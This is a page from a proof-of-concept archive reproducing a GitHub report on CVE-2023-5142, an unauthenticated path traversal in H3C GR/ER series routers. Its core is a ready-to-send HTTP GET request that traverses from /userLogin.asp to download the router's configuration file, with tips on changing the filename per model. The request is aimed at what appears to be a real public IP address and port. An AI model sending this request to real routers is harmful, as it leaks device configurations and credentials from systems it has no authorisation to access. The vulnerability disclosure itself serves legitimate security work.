POC详情： c9580779811b763e6b7328ffbe2b8286e9913fc8

来源
https://github.com/kuangxiaotu/CVE-H3C-Report
关联漏洞
标题： H3C ER Series 路径遍历漏洞 (CVE-2023-5142)
描述：H3C ER Series是中国新华三（H3C）公司的一系列路由器。 H3C ER Series 存在路径遍历漏洞，该漏洞源于 /userLogin.asp 的部分代码可能导致路径遍历。
描述
CVE-2023-5142
介绍
# H3C GR series router system management has unauthorized access vulnerability

**Product**: GR series router

**version**: all

**rating**: high-risk

**website**: http://www.h3c.com/

**Hazards**: Attackers can exploit this vulnerability to obtain sensitive information from routers by constructing special request packets to bypass identity verification.

**principle**: The router did not authenticate directory access and related files

**exp**:

Note: It is necessary to modify the file name suffix in POC, such as GR8300.cfg

```http
GET /userLogin.asp/../actionpolicy_status/../GR1100-P.cfg HTTP/1.1
Host: 59.35.220.76:8989
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/a57b8b70-9638-4029-9aba-fb562093458c)

![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/7c064b0c-e959-4c8f-871d-d93d4a731d1b)

![image](https://github.com/yinsel/CVE-H3C-Report/assets/91541985/cc49f25b-7ffe-4de9-9668-22a00ef5e315)
文件快照

 [4.0K]  /data/pocs/c9580779811b763e6b7328ffbe2b8286e9913fc8
└── [1.1K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。